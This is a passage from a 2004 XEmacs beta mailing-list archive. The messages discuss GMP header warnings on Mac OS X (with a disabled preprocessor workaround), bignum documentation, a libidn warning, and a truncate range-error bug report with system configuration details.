<86pta4ioyw.fsf@comcast.net> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 14:07:16 +0900 In-Reply-To: <86pta4ioyw.fsf@comcast.net> (Kaarthik Sivakumar's message of "Mon, 19 Apr 2004 00:14:15 -0400") Message-ID: <87smf0y2rf.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Kaarthik" == Kaarthik Sivakumar writes: Kaarthik> I havent run GNU Emacs since about 1997 or so, when I Kaarthik> discovered XEmacs. I can definitely download it again Kaarthik> and see whats going on there. It's up to you. Most of the incentive for synchs is from packages that work on one but not the other. If you aren't having problems of that kind, my feeling is it's more work than it's worth. Kaarthik> Actually I am looking at the suggested and supported new Kaarthik> bignum interface for FreeBSD 5+ and I am trying to see Kaarthik> if I can add that interface to XEmacs' bignum. Although Kaarthik> the fact that libgmp exists and works on FreeBSD reduces Kaarthik> my motivation for doing that. I can definitely get more Kaarthik> information for Jerry to add to his doc. And I can also Kaarthik> help fill in some missing documentation. In that case I'd say we'd be very happy if you give documentation the priority. Most just-plain-users will feel as you do, while people who really want the FreeBSD interface to work are likely to be FreeBSD hackers who will find XEmacs internals the barrier. Kaarthik> Mind numbing variable name changes, maybe?:) SJT> Now, _that_ is documented. :-) Kaarthik> Good Lord! This I definitely did not expect! Some people like him, some people don't, but nobody thinks Ben Wing is boring! Of course, I think he was dead serious when he wrote it. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 04:06:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J866s03325; Mon, 19 Apr 2004 04:06:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J857d02642 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 04:05:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J855002619 for turnbull@tux.org; Mon, 19 Apr 2004 04:05:05 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J853s02592 for ; Mon, 19 Apr 2004 04:05:03 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFTm2-0007eD-00 for ; Mon, 19 Apr 2004 17:05:02 +0900 To: xemacs-beta@xemacs.org Subject: GMP causes spew of warnings on Mac OS X Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 17:05:02 +0900 Message-ID: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , The version of GMP installed by Fink on Mac OS X is really Evile. It tests (at least) __GMP_WITHIN_CONFIGURE with _both_ #if and #ifdef, and leaves a bunch of macros tested with #if undefined by default so that we get all these warnings on _every file that include lisp.h_. Suggestions as to what to do about this are welcome; it doesn't happen on Debian Linux with the same version of libgmp (4.1.2), so I tend to the opinion that waiting for Fink to get its act together is the way to go, and just deal with the FAQ from Mac OS X users if it comes to that. For the record, the #if 0 thingee below is something I put into my numbers-gmp.h, and then drank some coffee and realized it can't go it. This way it doesn't get wasted. :-) #if 0 /* The #include of results in 23 warnings per file that includes lisp.h because undefined symbols are tested with #if. Mac OS X Pather (10.3), gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1495), Fink build of GMP 4.1.2. But #define'ing them all to 0 as below results in further breakage because some are actually tested with #ifndef!! */ /sw/include/gmp.h:31:7: warning: "__GMP_WITHIN_CONFIGURE" is not defined /sw/include/gmp.h:59:7: warning: "__GMP_WITHIN_CONFIGURE" is not defined /sw/include/gmp.h:396:5: warning: "__SCO_VERSION__" is not defined /sw/include/gmp.h:511:5: warning: "_GMP_H_HAVE_OBSTACK" is not defined /sw/include/gmp.h:516:5: warning: "_GMP_H_HAVE_OBSTACK" is not defined /sw/include/gmp.h:1512:40: warning: "__GMP_FORCE_mpz_abs" is not defined /sw/include/gmp.h:1536:7: warning: "__GMP_FORCE_mpz_fits_uint_p" is not defined /sw/include/gmp.h:1547:7: warning: "__GMP_FORCE_mpz_fits_ulong_p" is not defined /sw/include/gmp.h:1558:7: warning: "__GMP_FORCE_mpz_fits_ushort_p" is not defined /sw/include/gmp.h:1569:7: warning: "__GMP_FORCE_mpz_get_ui" is not defined /sw/include/gmp.h:1594:7: warning: "__GMP_FORCE_mpz_getlimbn" is not defined /sw/include/gmp.h:1607:40: warning: "__GMP_FORCE_mpz_neg" is not defined /sw/include/gmp.h:1618:7: warning: "__GMP_FORCE_mpz_perfect_square_p" is not defined /sw/include/gmp.h:1633:7: warning: "__GMP_FORCE_mpz_popcount" is not defined /sw/include/gmp.h:1649:7: warning: "__GMP_FORCE_mpz_set_q" is not defined /sw/include/gmp.h:1660:7: warning: "__GMP_FORCE_mpz_size" is not defined /sw/include/gmp.h:1673:40: warning: "__GMP_FORCE_mpq_abs" is not defined /sw/include/gmp.h:1683:40: warning: "__GMP_FORCE_mpq_neg" is not defined /sw/include/gmp.h:1963:7: warning: "__GMP_FORCE_mpn_add" is not defined /sw/include/gmp.h:1976:7: warning: "__GMP_FORCE_mpn_add_1" is not defined /sw/include/gmp.h:1989:7: warning: "__GMP_FORCE_mpn_cmp" is not defined /sw/include/gmp.h:2002:7: warning: "__GMP_FORCE_mpn_sub" is not defined /sw/include/gmp.h:2015:7: warning: "__GMP_FORCE_mpn_sub_1" is not defined /* sigh - brain damage */ /* at least some versions of gmp.h don't define these but test with #if, resulting in a slew of warnings from some versions of GCC */ #ifndef __GMP_WITHIN_CONFIGURE #define __GMP_WITHIN_CONFIGURE 0 #endif #ifndef __SCO_VERSION__ #define __SCO_VERSION__ 0 #endif #ifndef _GMP_H_HAVE_OBSTACK #define _GMP_H_HAVE_OBSTACK 0 #endif #ifndef __GMP_FORCE_mpz_abs #define __GMP_FORCE_mpz_abs 0 #endif #ifndef __GMP_FORCE_mpz_fits_uint_p #define __GMP_FORCE_mpz_fits_uint_p 0 #endif #ifndef __GMP_FORCE_mpz_fits_ulong_p #define __GMP_FORCE_mpz_fits_ulong_p 0 #endif #ifndef __GMP_FORCE_mpz_fits_ushort_p #define __GMP_FORCE_mpz_fits_ushort_p 0 #endif #ifndef __GMP_FORCE_mpz_get_ui #define __GMP_FORCE_mpz_get_ui 0 #endif #ifndef __GMP_FORCE_mpz_getlimbn #define __GMP_FORCE_mpz_getlimbn 0 #endif #ifndef __GMP_FORCE_mpz_neg #define __GMP_FORCE_mpz_neg 0 #endif #ifndef __GMP_FORCE_mpz_perfect_square_p #define __GMP_FORCE_mpz_perfect_square_p 0 #endif #ifndef __GMP_FORCE_mpz_popcount #define __GMP_FORCE_mpz_popcount 0 #endif #ifndef __GMP_FORCE_mpz_set_q #define __GMP_FORCE_mpz_set_q 0 #endif #ifndef __GMP_FORCE_mpz_size #define __GMP_FORCE_mpz_size 0 #endif #ifndef __GMP_FORCE_mpq_abs #define __GMP_FORCE_mpq_abs 0 #endif #ifndef __GMP_FORCE_mpq_neg #define __GMP_FORCE_mpq_neg 0 #endif #ifndef __GMP_FORCE_mpn_add #define __GMP_FORCE_mpn_add 0 #endif #ifndef __GMP_FORCE_mpn_add_1 #define __GMP_FORCE_mpn_add_1 0 #endif #ifndef __GMP_FORCE_mpn_cmp #define __GMP_FORCE_mpn_cmp 0 #endif #ifndef __GMP_FORCE_mpn_sub #define __GMP_FORCE_mpn_sub 0 #endif #ifndef __GMP_FORCE_mpn_sub_1 #define __GMP_FORCE_mpn_sub_1 0 #endif /* now include gmp.h */ #include /* undo brain damage - if only I had a surgeon's license */ #undef __GMP_WITHIN_CONFIGURE #undef __SCO_VERSION__ #undef _GMP_H_HAVE_OBSTACK #undef __GMP_FORCE_mpz_abs #undef __GMP_FORCE_mpz_fits_uint_p #undef __GMP_FORCE_mpz_fits_ulong_p #undef __GMP_FORCE_mpz_fits_ushort_p #undef __GMP_FORCE_mpz_get_ui #undef __GMP_FORCE_mpz_getlimbn #undef __GMP_FORCE_mpz_neg #undef __GMP_FORCE_mpz_perfect_square_p #undef __GMP_FORCE_mpz_popcount #undef __GMP_FORCE_mpz_set_q #undef __GMP_FORCE_mpz_size #undef __GMP_FORCE_mpq_abs #undef __GMP_FORCE_mpq_neg #undef __GMP_FORCE_mpn_add #undef __GMP_FORCE_mpn_add_1 #undef __GMP_FORCE_mpn_cmp #undef __GMP_FORCE_mpn_sub #undef __GMP_FORCE_mpn_sub_1 /* end brain-damage avoidance */ #endif /* 0 */ -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 05:25:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J9P9s29219; Mon, 19 Apr 2004 05:25:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J9OLV28737 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 05:24:21 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J9OKC28721 for turnbull@tux.org; Mon, 19 Apr 2004 05:24:20 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J9OHs28690; Mon, 19 Apr 2004 05:24:17 -0400 Received: from grendal.frinabulax.org (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) by kcte.net (8.12.11/8.12.11) with ESMTP id i3J9OAxP022047 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Mon, 19 Apr 2004 05:24:11 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by grendal.frinabulax.org (8.12.11/8.12.11) with ESMTP id i3J9O5Mk029192; Mon, 19 Apr 2004 05:24:05 -0400 (EDT) Date: Mon, 19 Apr 2004 05:24:05 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: "Stephen J. Turnbull" cc: xemacs-beta@xemacs.org Subject: Re: GMP causes spew of warnings on Mac OS X In-Reply-To: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.68-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Mon, 19 Apr 2004 about 17:05 +0900 UTC Stephen J. Turnbull wrote: > The version of GMP installed by Fink on Mac OS X is really Evile. > > It tests (at least) __GMP_WITHIN_CONFIGURE with _both_ #if and #ifdef, > and leaves a bunch of macros tested with #if undefined by default so > that we get all these warnings on _every file that include lisp.h_. > > Suggestions as to what to do about this are welcome; it doesn't happen > on Debian Linux with the same version of libgmp (4.1.2), so I tend to > the opinion that waiting for Fink to get its act together is the way > to go, and just deal with the FAQ from Mac OS X users if it comes to > that. In keeping with the philosophy that BSD isn't exactly Linux, try darwinports' version of gmp 4.1.2. It compiles fine on OS X 10.3.2 & 3 and works with the April 15 CVS of 21.5 (haven't compiled the most recent, yet). I find that many of the ports files work that wouldn't on my system from Finkm but most people seem to swear by Fink. Maybe it is just that I have been using FreeBSD for the last few years. -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky The most effective kind of education is that a child should play amongst lovely things. -Plato From xemacs-beta-admin@xemacs.org Mon Apr 19 05:43:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J9h2s09632; Mon, 19 Apr 2004 05:43:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J9guK09565 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 05:42:56 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J9gtL09549 for turnbull@tux.org; Mon, 19 Apr 2004 05:42:55 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J9gss09533 for ; Mon, 19 Apr 2004 05:42:54 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFVIX-0000Z9-00; Mon, 19 Apr 2004 18:42:41 +0900 To: robert delius royar Cc: xemacs-beta@xemacs.org Subject: Re: GMP causes spew of warnings on Mac OS X References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 18:42:41 +0900 In-Reply-To: (robert delius royar's message of "Mon, 19 Apr 2004 05:24:05 -0400 (EDT)") Message-ID: <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "robert" == robert delius royar writes: robert> In keeping with the philosophy that BSD isn't exactly robert> Linux, try darwinports' version of gmp 4.1.2. That's the right thing to do, but the last thing I need right now is Yet Another Source Tree To Keep Updated (I just pulled xnu and Libc for something else...). For this particular feature, if I can just install a binary, great, otherwise I'll leave the testing to somebody else, like maybe ... you :-) ... robert> works with the April 15 CVS of 21.5 ... by that you mean configuring --use-number-lib=gmp and building does _not_ spew warnings about undefined macros during the compile? If so, we'll just find a round tuit for firing off a bug report to Fink and forget it as far as "fixing" anything in XEmacs. robert> I find that many of the ports files work that wouldn't on robert> my system from Finkm but most people seem to swear by robert> Fink. Ah, when Fink just works it just works. So far I haven't run into too much that doesn't, although the way it pulls in libraries I really don't want (GNOME) will start to bother me in a few more gigabytes. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 05:51:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J9p1s15607; Mon, 19 Apr 2004 05:51:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J9oIu15138 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 05:50:18 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3J9oHA15118 for turnbull@tux.org; Mon, 19 Apr 2004 05:50:17 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3J9oGs15106 for ; Mon, 19 Apr 2004 05:50:16 -0400 Received: from latte.josefsson.org (yxa.extundo.com [217.13.230.178]) (authenticated bits=0) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3J9o8r5002342 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Apr 2004 11:50:08 +0200 To: Kaarthik Sivakumar Cc: xemacs-beta@xemacs.org, bugs@gnus.org Subject: Re: [Bug: 21.5-b17] sending mails using message mode and spelling References: <8665bxjhpq.fsf@comcast.net> <86y8osizcp.fsf@comcast.net> From: Simon Josefsson X-Hashcash: 0:040419:kaarthik@comcast.net:0354b4385dec5b3e X-Hashcash: 0:040419:xemacs-beta@xemacs.org:de152d78964415b7 X-Hashcash: 0:040419:bugs@gnus.org:89aa257544c6e72d Date: Mon, 19 Apr 2004 11:50:01 +0200 In-Reply-To: <86y8osizcp.fsf@comcast.net> (Kaarthik Sivakumar's message of "Sun, 18 Apr 2004 20:29:58 -0400") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Kaarthik Sivakumar writes: > This specific message is coming from the FreeBSD port of libidn. > Running idn on the command line gives this: > > ,---- > | kaarthik@the-saint:~:157>idn > | libidn 0.4.2 > | Copyright 2002, 2003, 2004 Simon Josefsson. > | GNU Libidn comes with NO WARRANTY, to the extent permitted by law. > | You may redistribute copies of GNU Libidn under the terms of > | the GNU Lesser General Public License. For more information > | about these matters, see the file named COPYING.LIB. > | Type each input string on a line by itself, terminated by a newline character. > | xemacs.org > | idn in free(): warning: junk pointer, too high to make sense > | xemacs.org > `---- > > So thats the message. After setting the variable, it no longer asks me > anything. I was able to reproduce this on FreeBSD 4.9, so hopefully it will be fixed in the future. Thanks! From xemacs-beta-admin@xemacs.org Mon Apr 19 06:01:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JA12s22483; Mon, 19 Apr 2004 06:01:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JA0j922274 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 06:00:45 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JA0iQ22246 for turnbull@tux.org; Mon, 19 Apr 2004 06:00:44 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JA0hs22234 for ; Mon, 19 Apr 2004 06:00:44 -0400 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFVZy-0001ra-00 for ; Mon, 19 Apr 2004 12:00:42 +0200 Received: from junk.nocrew.org ([213.242.147.30]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 19 Apr 2004 12:00:42 +0200 Received: from lars by junk.nocrew.org with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 19 Apr 2004 12:00:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Lars Brinkhoff Subject: Re: Bignums, ratios, and bigfloats Date: 19 Apr 2004 11:54:22 +0200 Organization: nocrew Lines: 16 Message-ID: <857jwcb8dt.fsf@junk.nocrew.org> References: <86hdvx4t12.fsf@comcast.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: junk.nocrew.org User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Kaarthik Sivakumar writes: > >>> "JJ" == Jerry James writes: > JJ> I have committed the patch to enable bignums, ratios, and > JJ> bigfloats in > I am going to ask a dumb question here: What exactly do you expect > them to be used for? Maybe heavy mathematical stuff (like the calc > package)? I like them, that's for sure! (See http://lisp.se/emacs-cl/) Is there a featurep-thing that signals that bignums and/or ratios are available? -- Lars Brinkhoff, Services for Unix, Linux, GCC, HTTP Brinkhoff Consulting http://www.brinkhoff.se/ From xemacs-beta-admin@xemacs.org Mon Apr 19 06:52:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JAq5s26960; Mon, 19 Apr 2004 06:52:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JAptX26846 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 06:51:55 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16515.44875.469522.965254@gwyn.tux.org> Resent-Date: Mon, 19 Apr 2004 06:51:55 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org Organization: nocrew Message-ID: <85brlob90y.fsf@junk.nocrew.org> Lines: 589 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 From: Lars Brinkhoff To: XEmacs Beta Subject: [Bug: 21.4.6] truncate range error Date: 19 Apr 2004 11:40:29 +0200 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! This is from a session in the *scratch* buffer: most-positive-fixnum 1073741823 (truncate 536870911.1) 536870911 (truncate 536870912.1) When I try to evaluate the last espression, I get this error: Arithmetic range error: "truncate", 536870912.1 Shouldn't truncate be able to return integers > 536870911? The same thing applies to (truncate -536870913.1). ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux voltaire 2.4.18-powerpc-smp #1 SMP Thu Mar 14 19:59:10 EST 2002 ppc unknown ./configure '--with-sound=none,native' '--cflags=-O2 -g -Wall' '--with-x11' '--extra-verbose' '--with-site-lisp' '--statedir=/var/lib' '--infodir=/usr/share/info/xemacs-21.4.6' '--prefix=/usr' '--error-checking=none' '--debug=no' '--dynamic' '--without-postgresql' '--with-gpm=no' '--with_menubars=lucid' '--with_scrollbars=lucid' '--with_dialogs=athena' '--docdir=/usr/lib/xemacs-21.4.6/powerpc-debian-linux/mule/' '--with-mule' '--with-canna=no' '--with-wnn=no' '--with-xim=xlib' '--with-xfs' '--package-path=~/.xemacs:~/.xemacs/packages:~/.xemacs/xemacs-packages::/usr/share/xemacs21/packages:/usr/share/xemacs21/mule-packages:/usr/share/xemacs21/site-packages' 'powerpc-debian-linux' XEmacs 21.4.6 "Common Lisp" configured for `powerpc-debian-linux'. Compilation / Installation: Source code location: /build/buildd/xemacs21-21.4.6 Installation prefix: /usr Operating system description file: `s/linux.h' Machine description file: `m/powerpc.h' Compiler: gcc -O2 -g -Wall Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Linking with `-Xlinker -znocombreloc'. - Consider configuring with --pdump. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw - Athena library to link: Xaw Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Compiling in support for sound (native). Databases: Compiling in support for Berkeley database. Compiling in support for LDAP. Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. - Using XFontSet to provide bilingual menubar. Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Load-Path Lisp Shadows: ---------------------- (/usr/share/xemacs21/site-lisp/a2ps/a2ps /usr/share/xemacs21/site-lisp/a2ps/a2ps /usr/share/xemacs21/site-lisp/a2ps/a2ps-print /usr/share/xemacs21/site-lisp/a2ps/a2ps-print /usr/share/xemacs21/site-lisp/dictionaries-common/ispell /usr/share/xemacs21/site-lisp/dictionaries-common/ispell /usr/share/xemacs21/site-lisp/dictionaries-common/debian-ispell /usr/share/xemacs21/site-lisp/dictionaries-common/debian-ispell /usr/share/xemacs21/site-lisp/debian-startup /usr/share/emacs/site-lisp/debian-startup /usr/share/xemacs21/site-lisp/ilisp/ilisp-scheme-easy-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-scheme-easy-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp /usr/share/xemacs21/site-lisp/ilisp/ilisp /usr/share/xemacs21/site-lisp/ilisp/ilisp-cl-easy-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-cl-easy-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-openmcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-openmcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-sch /usr/share/xemacs21/site-lisp/ilisp/ilisp-sch /usr/share/xemacs21/site-lisp/ilisp/ilisp-xls /usr/share/xemacs21/site-lisp/ilisp/ilisp-xls /usr/share/xemacs21/site-lisp/ilisp/ilisp-luc /usr/share/xemacs21/site-lisp/ilisp/ilisp-luc /usr/share/xemacs21/site-lisp/ilisp/ilisp-hlw /usr/share/xemacs21/site-lisp/ilisp/ilisp-hlw /usr/share/xemacs21/site-lisp/ilisp/ilisp-kcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-kcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-acl /usr/share/xemacs21/site-lisp/ilisp/ilisp-acl /usr/share/xemacs21/site-lisp/ilisp/ilisp-chs /usr/share/xemacs21/site-lisp/ilisp/ilisp-chs /usr/share/xemacs21/site-lisp/ilisp/ilisp-sbcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-sbcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmu /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmu /usr/share/xemacs21/site-lisp/ilisp/ilisp-ccl /usr/share/xemacs21/site-lisp/ilisp/ilisp-ccl /usr/share/xemacs21/site-lisp/ilisp/ilisp-cl /usr/share/xemacs21/site-lisp/ilisp/ilisp-cl /usr/share/xemacs21/site-lisp/ilisp/ild /usr/share/xemacs21/site-lisp/ilisp/ild /usr/share/xemacs21/site-lisp/ilisp/ilisp-src /usr/share/xemacs21/site-lisp/ilisp/ilisp-src /usr/share/xemacs21/site-lisp/ilisp/ilisp-mnb /usr/share/xemacs21/site-lisp/ilisp/ilisp-mnb /usr/share/xemacs21/site-lisp/ilisp/ilisp-aut /usr/share/xemacs21/site-lisp/ilisp/ilisp-aut /usr/share/xemacs21/site-lisp/ilisp/ilisp-hi /usr/share/xemacs21/site-lisp/ilisp/ilisp-hi /usr/share/xemacs21/site-lisp/ilisp/ilisp-xfr /usr/share/xemacs21/site-lisp/ilisp/ilisp-xfr /usr/share/xemacs21/site-lisp/ilisp/ilisp-snd 